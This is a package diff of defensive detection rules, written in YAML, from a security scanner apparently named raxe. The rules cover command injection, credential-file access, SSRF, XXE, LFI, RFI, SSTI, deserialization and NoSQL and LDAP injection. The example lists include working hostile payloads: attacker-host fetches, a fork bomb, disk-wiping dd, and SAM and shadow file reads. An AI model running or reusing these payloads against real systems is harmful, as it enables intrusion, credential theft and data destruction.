raxe 0.4.6__py3-none-any.whl

raxe/packs/core/v1.0.0/rules/cmd/cmd-075@1.0.0.yaml

@@ -0,0 +1,45 @@
+version: 1.0.0
+rule_id: cmd-075
+family: CMD
+sub_family: shell_commands
+name: Detects cloud metadata service access (AWS, Azure, GCP)
+description: Detects cloud metadata service access (AWS, Azure, GCP)
+severity: critical
+confidence: 0.98
+patterns:
+- pattern: (?i)169\.254\.169\.254
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)metadata\.(?:google|azure)\.(?:com|internal)
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: http://(?:instance-data|metadata)\.ec2
+  flags: []
+  timeout: 5.0
+examples:
+  should_match:
+  - curl http://169.254.169.254/latest/meta-data/
+  - wget http://metadata.google.internal/computeMetadata/v1/
+  - http://metadata.azure.com/metadata/instance
+  should_not_match:
+  - Cloud metadata service documentation
+  - AWS instance metadata explained
+  - GCP metadata API reference
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+mitre_attack:
+- T1552
+metadata:
+  created: '2025-11-09'
+  updated: '2025-11-09'
+  author: raxe-ce
+  legacy_rx_id: RX-CMD-0075
+rule_hash: sha256:f000f5c57205bab0d9e0e0c661785846a392d3908964e7f8689cac684b9d3323
+risk_explanation: Shell command injection exploits enable arbitrary system command execution through vulnerable inputs. Attackers can read sensitive files, modify system configurations, escalate privileges, install backdoors, or completely compromise the underlying system.
+remediation_advice: Never execute shell commands with user-controlled input. If command execution is necessary, use strict allowlisting of permitted commands and arguments. Implement input validation and sanitization. Use least-privilege execution contexts. Deploy command injection detection.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-075-Cloud-Metadata-Service

raxe/packs/core/v1.0.0/rules/cmd/cmd-079@1.0.0.yaml

@@ -0,0 +1,44 @@
+version: 1.0.0
+rule_id: cmd-079
+family: CMD
+sub_family: shell_commands
+name: Detects fork bomb and resource exhaustion patterns
+description: Detects fork bomb and resource exhaustion patterns
+severity: critical
+confidence: 0.99
+patterns:
+- pattern: ':\(\)\{\s*:\|:&\s*\};:'
+  flags: []
+  timeout: 5.0
+- pattern: (?i)while\s*:\s*;\s*do\s+fork
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: \.\(\)\.\|\.\.&
+  flags: []
+  timeout: 5.0
+examples:
+  should_match:
+  - ':(){ :|:& };:'
+  - 'while : ; do fork; done'
+  - .().|..&
+  should_not_match:
+  - Fork bomb explanation
+  - Bash infinite loop examples
+  - Resource limits in Linux
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+mitre_attack:
+- T1059
+metadata:
+  created: '2025-11-09'
+  updated: '2025-11-09'
+  author: raxe-ce
+  legacy_rx_id: RX-CMD-0079
+rule_hash: sha256:6c09e2f52868e498610ff3d06759c44715a07b0d0cc946cd8a814313e5ede61a
+risk_explanation: Shell command injection exploits enable arbitrary system command execution through vulnerable inputs. Attackers can read sensitive files, modify system configurations, escalate privileges, install backdoors, or completely compromise the underlying system.
+remediation_advice: Never execute shell commands with user-controlled input. If command execution is necessary, use strict allowlisting of permitted commands and arguments. Implement input validation and sanitization. Use least-privilege execution contexts. Deploy command injection detection.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-079-Fork-Bomb

raxe/packs/core/v1.0.0/rules/cmd/cmd-1080@1.0.0.yaml

@@ -0,0 +1,41 @@
+version: 1.0.0
+rule_id: cmd-1080
+family: CMD
+sub_family: shell_operators
+name: Detects semicolon with password file access
+description: Detects semicolon with password file access
+severity: critical
+confidence: 0.99
+patterns:
+- pattern: ;\s*cat\s+/etc/passwd
+  flags: []
+  timeout: 5.0
+- pattern: ;\s*type\s+.*\\SAM
+  flags: []
+  timeout: 5.0
+- pattern: ;\s*cat\s+/etc/shadow
+  flags: []
+  timeout: 5.0
+examples:
+  should_match:
+  - command; cat /etc/passwd
+  - test; cat /etc/shadow
+  - exec; type C:\Windows\System32\config\SAM
+  should_not_match:
+  - Semicolon in shell commands
+  - cat command documentation
+  - File system security
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+metadata:
+  created: '2025-11-09'
+  updated: '2025-11-09'
+  author: raxe-ce
+  legacy_rx_id: RX-CMD-1080
+rule_hash: sha256:935f55ab5e9955e3d7dd28e1fba7dd5374f0605a607765d19c4a423b6385a9ec
+risk_explanation: Shell operator injection uses special characters (semicolons, pipes, redirects) to chain commands or modify command behavior. This enables attackers to execute multiple malicious operations or redirect output to exfiltrate data.
+remediation_advice: Sanitize or reject shell operator characters in user input. Use parameterized command execution that prevents operator interpretation. Implement strict allowlisting of permitted command structures. Monitor for command chaining attempts.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-1080-Semicolon-Password

raxe/packs/core/v1.0.0/rules/cmd/cmd-1090@1.0.0.yaml

@@ -0,0 +1,41 @@
+version: 1.0.0
+rule_id: cmd-1090
+family: CMD
+sub_family: unix_commands
+name: Detects dd for disk manipulation
+description: Detects dd for disk manipulation
+severity: critical
+confidence: 0.98
+patterns:
+- pattern: \bdd\s+if=/dev/\w+\s+of=
+  flags: []
+  timeout: 5.0
+- pattern: \bdd\s+if=[^\s]+\s+of=/dev/\w+
+  flags: []
+  timeout: 5.0
+- pattern: \bdd\s+[^\n]*bs=\d+[MG]
+  flags: []
+  timeout: 5.0
+examples:
+  should_match:
+  - dd if=/dev/sda of=/tmp/disk.img
+  - dd if=malware of=/dev/sdb
+  - dd if=/dev/zero of=/dev/sda bs=1M
+  should_not_match:
+  - dd command documentation
+  - Disk cloning with dd
+  - Creating bootable USB with dd
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+metadata:
+  created: '2025-11-09'
+  updated: '2025-11-09'
+  author: raxe-ce
+  legacy_rx_id: RX-CMD-1090
+rule_hash: sha256:ce96e6202739f29aa9ac1b9d4413ed969ca0a11387d27d618ad59282b165a6a0
+risk_explanation: Dangerous Unix commands (dd, rm -rf, mkfs) can destroy data, corrupt file systems, or cause denial of service. These commands are particularly risky because they can cause irrecoverable damage to systems and data.
+remediation_advice: Implement strict command allowlisting that excludes dangerous utilities. Use read-only file systems where possible. Deploy command execution monitoring and anomaly detection. Restrict access to destructive commands through permissions.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-1090-Dd-Disk

raxe/packs/core/v1.0.0/rules/cmd/cmd-1104@1.0.0.yaml

@@ -0,0 +1,44 @@
+version: 1.0.0
+rule_id: cmd-1104
+family: CMD
+sub_family: file_access
+name: Detects Windows SAM file access
+description: Detects Windows SAM file access
+severity: critical
+confidence: 0.99
+patterns:
+- pattern: (?i)(?:type|copy|dir|cat|more)?\s*C:\\\\Windows\\\\System32\\\\config\\\\SAM
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)(?:type|copy|dir|cat|more)?\s*C:\\\\Windows\\\\System32\\\\config\\\\SYSTEM
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)(?:type|copy|dir|cat|more)?\s*%SystemRoot%\\\\System32\\\\config\\\\
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+examples:
+  should_match:
+  - type C:\Windows\System32\config\SAM
+  - copy C:\Windows\System32\config\SYSTEM
+  - dir %SystemRoot%\System32\config\
+  should_not_match:
+  - Windows system files
+  - SAM database documentation
+  - Windows registry files
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+metadata:
+  created: '2025-11-09'
+  updated: '2025-11-09'
+  author: raxe-ce
+  legacy_rx_id: RX-CMD-1104
+rule_hash: sha256:33e694474e3df17d36fdb37061eeef79b126c2559234aece8546f56daecb5ca0
+risk_explanation: File access attacks target sensitive system files (passwords, SAM database, shadow files, cloud metadata) to extract credentials or configuration data. Successful access enables privilege escalation, account compromise, or cloud resource hijacking.
+remediation_advice: Implement strict file access controls and permissions. Use least-privilege principles for file system access. Deploy file integrity monitoring for sensitive files. Restrict AI access to file systems. Monitor for unauthorized file access attempts.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-1104-Windows-Sam-File

raxe/packs/core/v1.0.0/rules/cmd/cmd-1105@1.0.0.yaml

@@ -0,0 +1,41 @@
+version: 1.0.0
+rule_id: cmd-1105
+family: CMD
+sub_family: network_tools
+name: Detects nmap for network scanning
+description: Detects nmap for network scanning
+severity: high
+confidence: 0.95
+patterns:
+- pattern: \bnmap\s+(-[^\s]+\s+)*\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}
+  flags: []
+  timeout: 5.0
+- pattern: \bnmap\s+(-[^\s]+\s+)*-p\s*\d+
+  flags: []
+  timeout: 5.0
+- pattern: \bnmap\s+(-[^\s]+\s+)*-sV
+  flags: []
+  timeout: 5.0
+examples:
+  should_match:
+  - nmap -sS 192.168.1.1
+  - nmap -p 22,80,443 10.0.0.1
+  - nmap -sV target.com
+  should_not_match:
+  - nmap network scanning tutorial
+  - Port scanning basics
+  - Network reconnaissance guide
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+metadata:
+  created: '2025-11-09'
+  updated: '2025-11-09'
+  author: raxe-ce
+  legacy_rx_id: RX-CMD-1105
+rule_hash: sha256:74be22629afd8399a0b6f9b9739b2a9e7f93361cba9999166f22f88dedacfe4e
+risk_explanation: Network tool abuse (curl, wget, nmap, netcat) enables data exfiltration, network reconnaissance, port scanning, or establishing backdoor connections. These tools can be weaponized to map infrastructure, steal data, or facilitate lateral movement.
+remediation_advice: Restrict network access from AI systems to only required services. Implement egress filtering and network segmentation. Use allowlisting for permitted network destinations. Monitor for suspicious network tool usage and data exfiltration patterns.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-1105-Nmap-Network

raxe/packs/core/v1.0.0/rules/cmd/cmd-1112@1.0.0.yaml

@@ -0,0 +1,44 @@
+version: 1.0.0
+rule_id: cmd-1112
+family: CMD
+sub_family: shell_invocation
+name: Detects cmd.exe execution
+description: Detects cmd.exe execution
+severity: critical
+confidence: 0.98
+patterns:
+- pattern: (?i)cmd\.exe\s+/c\s+
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)cmd\s+/c\s+
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)%COMSPEC%\s+/c\s+
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+examples:
+  should_match:
+  - cmd.exe /c whoami
+  - cmd /c del C:\*.*
+  - '%COMSPEC% /c dir'
+  should_not_match:
+  - Windows command prompt guide
+  - cmd.exe documentation
+  - Command line in Windows
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+metadata:
+  created: '2025-11-09'
+  updated: '2025-11-09'
+  author: raxe-ce
+  legacy_rx_id: RX-CMD-1112
+rule_hash: sha256:9854e5d01a8b866d1253d2fc56cabc6f1f35c08f1ea7670f45b199fd8368dda3
+risk_explanation: Direct shell invocation (cmd.exe, /bin/sh, PowerShell) provides attackers with full command execution capabilities. This is one of the highest-risk vulnerabilities as it grants complete control over command execution.
+remediation_advice: Never invoke shells with user-controlled input. Use APIs or libraries that don't require shell execution. Implement application-level command execution with strict validation. Deploy shell invocation detection and blocking.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-1112-Cmd.Exe-Execution

raxe/packs/core/v1.0.0/rules/cmd/cmd-201@1.0.0.yaml

@@ -0,0 +1,47 @@
+version: 1.0.0
+rule_id: cmd-201
+family: CMD
+sub_family: file_inclusion
+name: Local File Inclusion (LFI) Attack Detection
+description: Detects Local File Inclusion attempts using path traversal
+severity: critical
+confidence: 0.96
+patterns:
+- pattern: (?i)(?:\.\.\/|\.\.\\){2,}
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)(?:file|include|require|load).*(?:\/etc\/passwd|\/etc\/shadow|\/windows\/system32)
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)(?:\.\.\/){3,}.*(?:etc|var|usr|windows)
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+examples:
+  should_match:
+  - "include ../../../etc/passwd"
+  - "file=../../../../windows/system32/config/sam"
+  - "load ../../../../../../etc/shadow"
+  should_not_match:
+  - "What is path traversal?"
+  - "How to prevent LFI attacks?"
+  - "Relative paths in applications"
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+mitre_attack:
+- T1083
+- T1005
+metadata:
+  created: '2025-11-16'
+  updated: '2025-11-16'
+  author: raxe-ce
+  category: web_attacks
+rule_hash: null
+risk_explanation: File inclusion attacks (LFI/RFI) exploit file loading functionality to include malicious files from local or remote sources. This can lead to code execution, information disclosure, or complete application compromise.
+remediation_advice: Use strict allowlisting for file inclusion. Never construct file paths from user input. Implement path validation and sanitization. Disable remote file inclusion in language configurations. Deploy file inclusion attack detection.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-201-Local-File-Inclusion-(Lfi)

raxe/packs/core/v1.0.0/rules/cmd/cmd-202@1.0.0.yaml

@@ -0,0 +1,42 @@
+version: 1.0.0
+rule_id: cmd-202
+family: CMD
+sub_family: file_inclusion
+name: Remote File Inclusion (RFI) Attack Detection
+description: Detects Remote File Inclusion attempts using external URLs
+severity: critical
+confidence: 0.95
+patterns:
+- pattern: (?i)(?:include|require|load|import).*(?:https?|ftp|ftps):\/\/(?:(?!example\.com|localhost).)*
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)(?:file|url|path)=(?:https?|ftp):\/\/[^\s&]+\.(?:php|asp|jsp|txt)
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+examples:
+  should_match:
+  - "include http://evil.com/shell.php"
+  - "require https://attacker.net/backdoor.txt"
+  - "file=http://malicious.com/payload.php"
+  should_not_match:
+  - "What is RFI?"
+  - "How to prevent remote file inclusion?"
+  - "include https://example.com/library"
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+mitre_attack:
+- T1105
+metadata:
+  created: '2025-11-16'
+  updated: '2025-11-16'
+  author: raxe-ce
+  category: web_attacks
+rule_hash: null
+risk_explanation: File inclusion attacks (LFI/RFI) exploit file loading functionality to include malicious files from local or remote sources. This can lead to code execution, information disclosure, or complete application compromise.
+remediation_advice: Use strict allowlisting for file inclusion. Never construct file paths from user input. Implement path validation and sanitization. Disable remote file inclusion in language configurations. Deploy file inclusion attack detection.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-202-Remote-File-Inclusion-(Rfi)

raxe/packs/core/v1.0.0/rules/cmd/cmd-203@1.0.0.yaml

@@ -0,0 +1,43 @@
+version: 1.0.0
+rule_id: cmd-203
+family: CMD
+sub_family: xxe_injection
+name: XML External Entity (XXE) Injection Detection
+description: Detects XXE injection attempts in XML payloads
+severity: critical
+confidence: 0.97
+patterns:
+- pattern: '(?i)<!ENTITY\s+\w+\s+SYSTEM\s+["''](?:file|http|ftp|gopher|php|expect|data):'
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)<!DOCTYPE.*\[.*<!ENTITY.*SYSTEM
+  flags:
+  - IGNORECASE
+  - DOTALL
+  timeout: 5.0
+examples:
+  should_match:
+  - "<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>"
+  - "<!ENTITY xxe SYSTEM 'http://attacker.com/evil.dtd'>"
+  - "<!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>"
+  should_not_match:
+  - "What is XXE vulnerability?"
+  - "How to prevent XXE attacks?"
+  - "XML parsing best practices"
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+mitre_attack:
+- T1059
+metadata:
+  created: '2025-11-16'
+  updated: '2025-11-16'
+  author: raxe-ce
+  category: web_attacks
+rule_hash: null
+risk_explanation: XML External Entity (XXE) attacks exploit XML parsing to read files, perform SSRF attacks, or cause denial of service. XXE can expose sensitive data, enable internal network scanning, or consume excessive system resources.
+remediation_advice: Disable external entity processing in XML parsers. Use safe XML parsing configurations. Implement input validation for XML content. Deploy XXE-specific detection and blocking. Consider using safer data formats like JSON.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-203-Xml-External-Entity-(Xxe)

raxe/packs/core/v1.0.0/rules/cmd/cmd-204@1.0.0.yaml

@@ -0,0 +1,47 @@
+version: 1.0.0
+rule_id: cmd-204
+family: CMD
+sub_family: ssrf
+name: Server-Side Request Forgery (SSRF) Detection
+description: Detects SSRF attempts targeting internal/cloud metadata services
+severity: critical
+confidence: 0.94
+patterns:
+- pattern: (?i)(?:url|link|fetch|curl|wget).*(?:169\.254\.169\.254|metadata\.google\.internal|169\.254\.170\.2)
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)(?:url|link|fetch).*(?:localhost|127\.0\.0\.1|0\.0\.0\.0|::1).*(?:admin|internal|private)
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)(?:file|dict|gopher|ftp|ldap|tftp):\/\/.*(?:localhost|127\.0\.0\.1|192\.168\.|10\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[01]\.)
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+examples:
+  should_match:
+  - "fetch http://169.254.169.254/latest/meta-data/"
+  - "curl http://metadata.google.internal/computeMetadata/v1/"
+  - "url=gopher://127.0.0.1:6379/_"
+  should_not_match:
+  - "What is SSRF?"
+  - "How to prevent SSRF attacks?"
+  - "Cloud metadata security"
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+mitre_attack:
+- T1071
+- T1590
+metadata:
+  created: '2025-11-16'
+  updated: '2025-11-16'
+  author: raxe-ce
+  category: web_attacks
+rule_hash: null
+risk_explanation: Server-Side Request Forgery (SSRF) tricks servers into making requests to unintended destinations, often internal systems. This can expose internal services, read cloud metadata, or bypass network security controls.
+remediation_advice: Implement strict allowlisting for external requests. Validate and sanitize all URLs. Use network segmentation to isolate internal services. Deploy SSRF detection. Never make requests to user-supplied URLs without validation.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-204-Server-Side-Request-Forgery-(Ssrf)

raxe/packs/core/v1.0.0/rules/cmd/cmd-205@1.0.0.yaml

@@ -0,0 +1,44 @@
+version: 1.0.0
+rule_id: cmd-205
+family: CMD
+sub_family: template_injection
+name: Server-Side Template Injection (SSTI) Detection
+description: Detects SSTI attempts in various template engines
+severity: critical
+confidence: 0.93
+patterns:
+- pattern: \{\{.*(?:config|self|request|lipsum|cycler|joiner|namespace).*\}\}
+  flags: []
+  timeout: 5.0
+- pattern: \$\{.*(?:7\*7|Runtime|Class\.forName|eval|exec).*\}
+  flags: []
+  timeout: 5.0
+- pattern: <%=.*(?:system|exec|eval|File|Runtime).*%>
+  flags: []
+  timeout: 5.0
+examples:
+  should_match:
+  - "{{config.items()}}"
+  - "${7*7}"
+  - "{{request.application.__globals__}}"
+  - "<%=system('whoami')%>"
+  should_not_match:
+  - "What is SSTI?"
+  - "Template injection examples"
+  - "{{user.name}} in templates"
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+mitre_attack:
+- T1059
+metadata:
+  created: '2025-11-16'
+  updated: '2025-11-16'
+  author: raxe-ce
+  category: web_attacks
+rule_hash: null
+risk_explanation: Server-Side Template Injection (SSTI) exploits template engines to execute arbitrary code. Attackers inject malicious template syntax to gain code execution, access sensitive data, or compromise the application server.
+remediation_advice: Never use user input directly in templates without sanitization. Use template sandboxing when available. Implement strict input validation. Consider using logic-less template engines. Deploy template injection detection.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-205-Server-Side-Template-Injection-(Ssti)

raxe/packs/core/v1.0.0/rules/cmd/cmd-206@1.0.0.yaml

@@ -0,0 +1,47 @@
+version: 1.0.0
+rule_id: cmd-206
+family: CMD
+sub_family: deserialization
+name: Insecure Deserialization Attack Detection
+description: Detects malicious serialized payloads and deserialization attempts
+severity: critical
+confidence: 0.92
+patterns:
+- pattern: (?i)(?:rO0|aced0005|yv66vg).*(?:Runtime|ProcessBuilder|exec|eval)
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)__reduce__|__setstate__|pickle|marshal|yaml\.load|unserialize
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)O:\d+:"(?:stdClass|PDO|SimpleXMLElement)"
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+examples:
+  should_match:
+  - "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZQ=="
+  - "__reduce__ = lambda self: (os.system, ('whoami',))"
+  - "O:8:\"stdClass\":1:{s:4:\"exec\";s:6:\"whoami\";}"
+  should_not_match:
+  - "What is deserialization?"
+  - "Safe serialization practices"
+  - "Pickle security documentation"
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+mitre_attack:
+- T1027
+- T1059
+metadata:
+  created: '2025-11-16'
+  updated: '2025-11-16'
+  author: raxe-ce
+  category: web_attacks
+rule_hash: null
+risk_explanation: Insecure deserialization attacks exploit object deserialization to execute arbitrary code, manipulate application logic, or cause denial of service. Deserializing untrusted data is extremely dangerous.
+remediation_advice: Never deserialize untrusted data. Use safe serialization formats (JSON) instead of language-specific formats (pickle, serialized PHP). Implement type checking and validation. Use allowlisting for permitted classes. Deploy deserialization attack detection.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-206-Insecure-Deserialization-Attack-Detection

raxe/packs/core/v1.0.0/rules/cmd/cmd-207@1.0.0.yaml

@@ -0,0 +1,46 @@
+version: 1.0.0
+rule_id: cmd-207
+family: CMD
+sub_family: nosql_injection
+name: NoSQL Injection Detection
+description: Detects NoSQL injection attempts (MongoDB, etc.)
+severity: high
+confidence: 0.91
+patterns:
+- pattern: (?i)\$(?:ne|eq|gt|gte|lt|lte|in|nin|and|or|not|nor|exists|where|regex)
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)\{\s*['"]\$ne['"]:\s*null\s*\}
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)(?:username|password|user|email)\[(?:\$ne|\$regex|\$gt)\]
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+examples:
+  should_match:
+  - "username[$ne]=admin&password[$ne]=null"
+  - '{"$where": "this.password == ''password''"}'
+  - "user[$regex]=.*"
+  should_not_match:
+  - "What is NoSQL injection?"
+  - "MongoDB query operators documentation"
+  - "Database security best practices"
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+mitre_attack:
+- T1059
+metadata:
+  created: '2025-11-16'
+  updated: '2025-11-16'
+  author: raxe-ce
+  category: web_attacks
+rule_hash: null
+risk_explanation: NoSQL injection attacks manipulate queries to NoSQL databases (MongoDB, etc.) to bypass authentication, extract data, or modify records. These attacks exploit different syntax than SQL but can be equally devastating.
+remediation_advice: Use parameterized queries and prepared statements for NoSQL databases. Implement input validation and type checking. Use database security features like role-based access control. Never concatenate user input into queries.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-207-Nosql-Injection-Detection

raxe/packs/core/v1.0.0/rules/cmd/cmd-208@1.0.0.yaml

@@ -0,0 +1,42 @@
+version: 1.0.0
+rule_id: cmd-208
+family: CMD
+sub_family: ldap_injection
+name: LDAP Injection Attack Detection
+description: Detects LDAP injection attempts using special characters
+severity: high
+confidence: 0.90
+patterns:
+- pattern: (?i)(?:\*|\(|\)|\||&).*(?:objectClass|cn=|ou=|dc=|uid=)
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+- pattern: (?i)(?:cn|uid|ou|dc)=.*[\*\(\)\|&]
+  flags:
+  - IGNORECASE
+  timeout: 5.0
+examples:
+  should_match:
+  - "cn=*)(uid=*))(|(cn=*"
+  - "user=admin)(|(password=*))"
+  - "uid=*)(objectClass=*"
+  should_not_match:
+  - "What is LDAP injection?"
+  - "LDAP query syntax"
+  - "Active Directory security"
+metrics:
+  precision: null
+  recall: null
+  f1_score: null
+  last_evaluated: null
+mitre_attack:
+- T1087
+metadata:
+  created: '2025-11-16'
+  updated: '2025-11-16'
+  author: raxe-ce
+  category: web_attacks
+rule_hash: null
+risk_explanation: LDAP injection manipulates directory service queries to bypass authentication, extract user information, or escalate privileges. This can compromise directory services that control authentication and authorization.
+remediation_advice: Use parameterized LDAP queries or safe query builders. Implement strict input validation and escaping. Use least-privilege LDAP service accounts. Deploy LDAP injection detection and blocking.
+docs_url: https://github.com/raxe-ai/raxe-ce/wiki/CMD-208-Ldap-Injection-Attack-Detection